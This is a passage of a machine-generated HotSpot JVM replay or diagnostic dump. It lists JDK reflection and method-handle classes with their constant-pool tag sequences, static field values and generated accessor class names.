1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 100 12 12 12 7 12 7 12 12 12 12 1 12 12 1 1 12 1 1 12 12 1 12 12 1 12 1 7 12 12 12 12 12 12 12 12 1 1 12 1 12 12 1 1 1 1 1 1 1 12 12 12 12 12 7 12 1 15 16 15 16 12 12 12 1 1 1 12 12 1 12 1 12 1 1 12 12 12 12 12 12 12 12 12 12 100 12 1 100 12 1 12 12 1 1 1 1 7 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 12 1 1 100 1 1 100 1 1\nstaticfield java/lang/reflect/AccessibleObject reflectionFactory Ljdk/internal/reflect/ReflectionFactory; jdk/internal/reflect/ReflectionFactory\nciInstanceKlass java/lang/reflect/Field 1 1 433 9 10 10 10 9 10 10 10 10 9 9 9 9 9 9 9 100 8 10 7 10 9 9 10 10 10 10 10 10 7 10 10 10 10 10 10 10 100 10 8 10 10 8 10 10 8 8 10 11 9 10 10 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 10 10 10 10 10 9 10 10 10 10 11 10 7 10 10 9 10 11 10 10 9 10 10 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 1 1 1 1 1 1 1 1 12 12 100 12 100 12 12 12 12 7 12 12 12 12 12 12 12 12 12 1 1 12 1 12 12 12 12 7 12 12 12 12 12 1 12 12 12 12 12 12 1 1 12 12 1 12 12 1 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 7 12 12 7 12 12 12 1 100 12 7 12 12 7 12 7 12 12 12 7 12 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/reflect/Parameter 1 1 226 10 9 9 9 9 7 10 10 10 100 10 10 11 10 10 10 10 10 8 8 10 10 10 8 10 8 10 9 10 9 10 10 10 10 10 10 10 10 11 10 100 10 10 10 10 10 9 100 10 11 11 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 12 12 12 12 12 1 12 12 100 12 1 12 12 12 100 12 12 12 12 1 1 12 12 12 1 1 12 12 12 12 12 12 12 12 12 100 12 12 100 12 12 1 100 12 12 12 12 12 12 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/lang/reflect/Constructor\ninstanceKlass java/lang/reflect/Method\nciInstanceKlass java/lang/reflect/Executable 1 1 458 10 10 10 11 10 10 10 10 10 7 8 7 10 10 10 100 8 10 10 10 10 8 8 10 10 100 8 10 8 10 8 11 10 10 11 10 8 8 10 10 100 10 10 10 10 10 10 7 10 10 10 10 10 7 10 7 8 10 10 3 100 8 10 10 10 10 10 8 8 8 9 10 100 8 9 10 10 10 10 10 10 7 10 10 100 10 7 10 10 11 10 10 10 9 10 7 10 10 9 10 10 9 10 9 10 9 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 12 7 12 12 7 12 7 12 12 12 12 12 1 1 1 12 12 1 1 12 7 12 12 12 1 1 12 1 1 12 1 12 1 100 12 12 12 1 1 12 12 1 12 12 7 12 12 12 1 12 12 12 12 7 12 12 1 1 12 12 1 1 12 12 12 12 1 1 1 12 12 1 1 12 12 12 12 12 12 12 12 12 1 100 12 1 7 12 12 12 12 100 12 12 12 12 1 12 12 7 12 7 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/reflect/Method 1 1 441 9 10 10 9 10 10 10 10 9 9 9 9 9 9 9 9 9 9 9 100 8 10 7 10 9 8 10 10 10 10 10 10 10 7 10 10 10 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 8 10 100 8 10 10 10 10 10 10 10 11 9 10 10 10 10 11 10 7 10 10 10 10 9 10 10 10 10 10 11 10 7 100 100 10 10 10 100 10 8 10 10 10 10 10 8 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 100 7 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 7 12 7 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 12 1 12 12 1 7 12 7 12 12 12 12 12 12 1 12 12 7 12 12 7 12 12 12 12 12 100 12 12 12 12 12 12 12 1 1 1 1 12 12 12 12 12 12 12 100 12 12 12 12 12 12 12 1 12 12 12 12 12 7 12 12 7 12 7 12 7 12 7 12 7 12 1 1 1 12 12 12 1 1 12 12 12 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/reflect/Constructor 1 1 415 10 10 9 10 10 10 9 10 9 9 9 9 9 9 9 9 100 8 10 7 10 9 10 10 10 10 10 7 100 8 10 10 10 10 10 100 10 7 10 10 10 10 10 10 10 10 10 100 8 10 10 100 8 10 10 10 10 10 10 10 9 10 10 100 8 10 11 10 10 10 9 10 10 10 10 10 10 10 10 10 100 8 10 10 10 10 10 10 10 11 9 10 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 100 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 7 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 1 1 12 1 12 12 7 12 7 12 12 12 12 1 1 1 12 12 12 12 1 7 12 12 7 12 12 7 12 12 12 12 12 1 1 12 1 1 12 12 12 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 1 1 12 12 12 12 100 12 100 12 100 12 100 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1\ninstanceKlass jdk/internal/reflect/FieldAccessorImpl\ninstanceKlass jdk/internal/reflect/ConstructorAccessorImpl\ninstanceKlass jdk/internal/reflect/MethodAccessorImpl\nciInstanceKlass jdk/internal/reflect/MagicAccessorImpl 1 1 16 10 100 7 1 1 1 1 1 1 1 1 1 12 1 1\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor49\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor48\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor47\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor46\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor45\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor44\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor43\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor42\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor41\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor40\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor39\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor38\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor37\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor36\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor35\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor34\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor33\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor32\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor31\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor30\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor29\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor28\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor27\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor26\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor25\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor24\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor23\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor22\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor21\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor20\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor19\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor18\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor17\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor16\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor15\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor14\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor13\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor12\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor11\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor10\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor9\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor8\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor7\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor6\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor5\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor4\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor3\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor2\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor1\ninstanceKlass jdk/internal/reflect/DelegatingMethodAccessorImpl\ninstanceKlass jdk/internal/reflect/NativeMethodAccessorImpl\nciInstanceKlass jdk/internal/reflect/MethodAccessorImpl 1 1 25 10 100 7 100 1 1 1 1 1 1 1 1 1 1 100 100 1 1 12 1 1 1 1 1\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor10\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor9\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor8\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor7\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor6\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor5\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor4\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor3\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor2\ninstanceKlass jdk/internal/reflect/BootstrapConstructorAccessorImpl\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor1\ninstanceKlass jdk/internal/reflect/DelegatingConstructorAccessorImpl\ninstanceKlass jdk/internal/reflect/NativeConstructorAccessorImpl\nciInstanceKlass jdk/internal/reflect/ConstructorAccessorImpl 1 1 27 10 100 7 100 1 1 1 1 1 1 1 1 1 1 100 100 100 1 1 12 1 1 1 1 1 1\nciInstanceKlass jdk/internal/reflect/DelegatingClassLoader 1 1 18 10 100 7 1 1 1 1 1 1 1 1 1 1 1 12 1 1\nciInstanceKlass jdk/internal/reflect/ConstantPool 1 1 138 10 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 7 8 10 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 7 12 1 1 1 1 1 1 1\ninstanceKlass jdk/internal/reflect/UnsafeFieldAccessorImpl\nciInstanceKlass jdk/internal/reflect/FieldAccessorImpl 1 1 59 10 100 7 100 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1 1 1 1\ninstanceKlass jdk/internal/reflect/UnsafeIntegerFieldAccessorImpl\ninstanceKlass jdk/internal/reflect/UnsafeBooleanFieldAccessorImpl\ninstanceKlass jdk/internal/reflect/UnsafeQualifiedFieldAccessorImpl\ninstanceKlass jdk/internal/reflect/UnsafeObjectFieldAccessorImpl\ninstanceKlass jdk/internal/reflect/UnsafeStaticFieldAccessorImpl\nciInstanceKlass jdk/internal/reflect/UnsafeFieldAccessorImpl 1 1 253 10 9 10 10 9 10 9 10 10 9 10 10 10 10 100 10 10 10 8 10 10 100 8 10 8 10 8 10 100 10 10 8 10 8 10 8 10 8 10 8 10 8 10 8 10 8 10 8 10 10 8 8 8 8 8 8 10 8 8 8 10 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 7 12 12 7 12 12 12 12 12 12 12 7 12 12 1 12 12 1 12 1 1 12 1 12 1 12 1 12 1 12 1 100 12 1 100 12 1 100 12 1 100 12 1 100 12 1 100 12 1 100 12 1 100 12 12 1 1 1 1 1 1 12 1 1 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield jdk/internal/reflect/UnsafeFieldAccessorImpl unsafe Ljdk/internal/misc/Unsafe; jdk/internal/misc/Unsafe\ninstanceKlass jdk/internal/reflect/UnsafeQualifiedStaticFieldAccessorImpl\nciInstanceKlass jdk/internal/reflect/UnsafeStaticFieldAccessorImpl 1 1 43 10 9 10 9 7 7 8 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 7 12 12 1 1 7 12 1 1 1 1 1 1 1 1 1\nciInstanceKlass jdk/internal/reflect/CallerSensitive 0 0 17 100 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/lang/invoke/DelegatingMethodHandle\ninstanceKlass java/lang/invoke/BoundMethodHandle\ninstanceKlass java/lang/invoke/DirectMethodHandle\nciInstanceKlass java/lang/invoke/MethodHandle 1 1 489 9 10 10 7 7 10 9 10 10 10 10 10 10 11 10 10 10 9 10 100 100 10 8 10 10 8 10 10 10 10 10 10 10 10 10 10 7 10 10 10 8 10 8 10 10 10 10 8 10 8 10 8 10 9 100 10 9 9 8 10 10 10 10 10 10 10 10 10 10 10 8 10 8 10 10 10 10 10 9 8 10 10 8 10 10 10 10 10 100 8 10 10 9 10 7 10 10 9 10 10 8 9 9 9 10 10 10 10 7 10 8 10 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 7 12 1 1 12 12 12 12 12 100 12 12 12 100 12 12 12 12 12 12 1 1 1 12 12 1 12 12 7 12 12 12 12 12 12 12 100 12 1 12 12 12 1 7 12 1 12 12 12 12 1 12 1 12 1 100 12 12 1 100 12 100 1 12 12 12 12 12 12 12 12 12 12 12 1 12 1 12 12 12 12 12 12 1 12 12 1 12 12 7 12 12 1 1 12 12 12 1 100 12 12 12 12 12 1 12 12 12 7 12 12 12 12 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/MethodHandle FORM_OFFSET J 20\nstaticfield java/lang/invoke/MethodHandle $assertionsDisabled Z 1\ninstanceKlass java/lang/invoke/DirectMethodHandle$Interface\ninstanceKlass java/lang/invoke/DirectMethodHandle$Constructor\ninstanceKlass java/lang/invoke/DirectMethodHandle$Special\ninstanceKlass java/lang/invoke/DirectMethodHandle$Accessor\nciInstanceKlass java/lang/invoke/DirectMethodHandle 1 1 922 7 7 100 7 7 10 10 100 10 10 10 10 10 10 7 7 10 10 10 10 10 10 9 100 10 9 10 10 10 10 10 10 7 10 10 10 8 10 7 10 7 10 10 10 10 10 10 100 10 10 7 10 10 10 10 8 10 10 10 10 10 9 7 10 10 10 100 10 8 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 8 9 8 9 9 8 9 9 8 9 9 8 10 10 7 9 7 10 100 10 10 10 10 7 10 10 10 7 10 10 10 10 10 9 10 9 9 10 10 7 7 7 9 10 10 10 10 9 10 100 10 100 10 10 8 9 9 10 9 10 9 9 10 10 10 10 10 10 10 9 10 10 10 10 10 9 10 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 8 9 9 10 100 10 9 10 7 9 10 10 10 10 10 8 8 8 8 10 9 10 7 10 8 9 10 8 8 8 9 8 8 8 8 8 8 7 8 10 10 8 8 10 10 10 10 7 7 1 1 1 1 1 1 1 100 1 1 1 1 7 1 1 1 1 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 1 3 1 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 1 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 12 12 1 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 1 12 12 12 1 12 1 12 1 12 12 12 12 12 1 12 12 1 12 12 12 12 12 12 12 12 12 7 12 1 12 7 12 12 1 1 12 12 12 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 1 12 1 12 12 1 12 12 1 12 12 1 12 12 1 12 1 12 1 12 12 12 12 1 12 12 12 12 7 12 12 12 12 12 12 12 7 12 12 1 1 1 12 12 12 12 12 12 12 1 12 1 12 12 1 12 12 12 12 100 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 1 12 7 12 1 12 12 12 12 12 1 1 1 1 12 12 12 1 100 12 12 12 12 1 1 12 12 1 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/DirectMethodHandle IMPL_NAMES Ljava/lang/invoke/MemberName$Factory; java/lang/invoke/MemberName$Factory\nstaticfield java/lang/invoke/DirectMethodHandle FT_UNCHECKED_REF I 8\nstaticfield java/lang/invoke/DirectMethodHandle ACCESSOR_FORMS [Ljava/lang/invoke/LambdaForm; 132 [Ljava/lang/invoke/LambdaForm;\nstaticfield java/lang/invoke/DirectMethodHandle ALL_WRAPPERS [Lsun/invoke/util/Wrapper; 10 [Lsun/invoke/util/Wrapper;\nstaticfield java/lang/invoke/DirectMethodHandle NFS [Ljava/lang/invoke/LambdaForm$NamedFunction; 12 [Ljava/lang/invoke/LambdaForm$NamedFunction;\nstaticfield java/lang/invoke/DirectMethodHandle OBJ_OBJ_TYPE Ljava/lang/invoke/MethodType; java/lang/invoke/MethodType\nstaticfield java/lang/invoke/DirectMethodHandle LONG_OBJ_TYPE Ljava/lang/invoke/MethodType; java/lang/invoke/MethodType\nstaticfield java/lang/invoke/DirectMethodHandle $assertionsDisabled Z 1\ninstanceKlass java/lang/invoke/VarHandleObjects$Array\ninstanceKlass java/lang/invoke/VarHandleObjects$FieldInstanceReadOnly\ninstanceKlass java/lang/invoke/VarHandleInts$FieldInstanceReadOnly\nciInstanceKlass java/lang/invoke/VarHandle 1 1 298 10 9 100 10 9 10 10 10 9 10 10 9 9 10 10 10 10 10 10 10 9 100 10 9 10 10 7 7 10 10 10 9 10 9 10 10 10 100 10 9 9 10 10 10 10 10 10 10 7 10 10 9 8 10 7 10 7 100 1 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 100 12 12 1 12 12 12 1 1 12 100 12 12 12 12 12 12 12 12 1 7 12 12 7 12 12 12 12 12 12 12 1 7 12 12 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/VarHandle AIOOBE_SUPPLIER Ljava/util/function/BiFunction; jdk/internal/util/Preconditions$1\nstaticfield java/lang/invoke/VarHandle VFORM_OFFSET J 12\nstaticfield java/lang/invoke/VarHandle $assertionsDisabled Z 1\nciInstanceKlass java/lang/invoke/MemberName 1 1 747 7 7 100 9 10 9 10 10 10 10 10 10 10 9 10 100 100 10 8 10 10 10 10 9 8 10 7 7 10 10 100 100 7 10 9 100 8 10 10 10 10 10 10 10 10 10 10 8 8 8 10 10 9 3 10 10 10 10 10 10 10 10 10 7 8 10 10 8 9 8 9 10 8 10 10 10 10 10 100 10 10 8 10 10 8 10 10 100 10 10 8 8 100 10 10 100 10 10 10 10 10 10 10 10 10 3 10 3 10 3 3 3 3 3 3 100 10 10 10 3 9 10 3 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 10 10 10 100 10 10 10 10 10 10 8 10 10 10 10 10 10 10 10 10 10 10 10 10 100 10 100 8 10 7 10 10 10 10 10 8 8 8 8 10 10 10 8 8 10 8 10 10 10 8 8 10 10 8 10 8 10 10 10 8 8 8 100 10 8 8 8 8 10 100 100 100 10 100 10 100 10 9 10 100 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 3 1 3 1 3 1 3 1 1 1 1 1 1 1 1 3 1 1 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 100 1 1 1 1 1 1 1 1 1 7 1 1 12 12 12 12 12 12 12 12 12 12 100 12 12 1 1 12 1 12 12 12 12 12 1 100 12 1 1 12 1 12 12 1 1 12 12 12 12 12 12 12 12 12 12 1 1 1 100 12 12 12 12 12 12 12 12 12 12 12 1 12 12 100 100 12 1 12 12 12 12 12 1 12 12 1 12 12 1 12 12 1 12 12 1 1 1 12 100 12 1 12 12 12 12 12 12 12 12 12 12 100 1 12 7 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 1 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 1 1 1 12 12 12 12 12 1 1 1 1 12 12 12 1 1 12 1 12 12 1 1 12 1 12 1 12 12 12 1 1 1 1 1 1 1 1 12 1 1 1 1 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/MemberName $assertionsDisabled Z 1\nciInstanceKlass 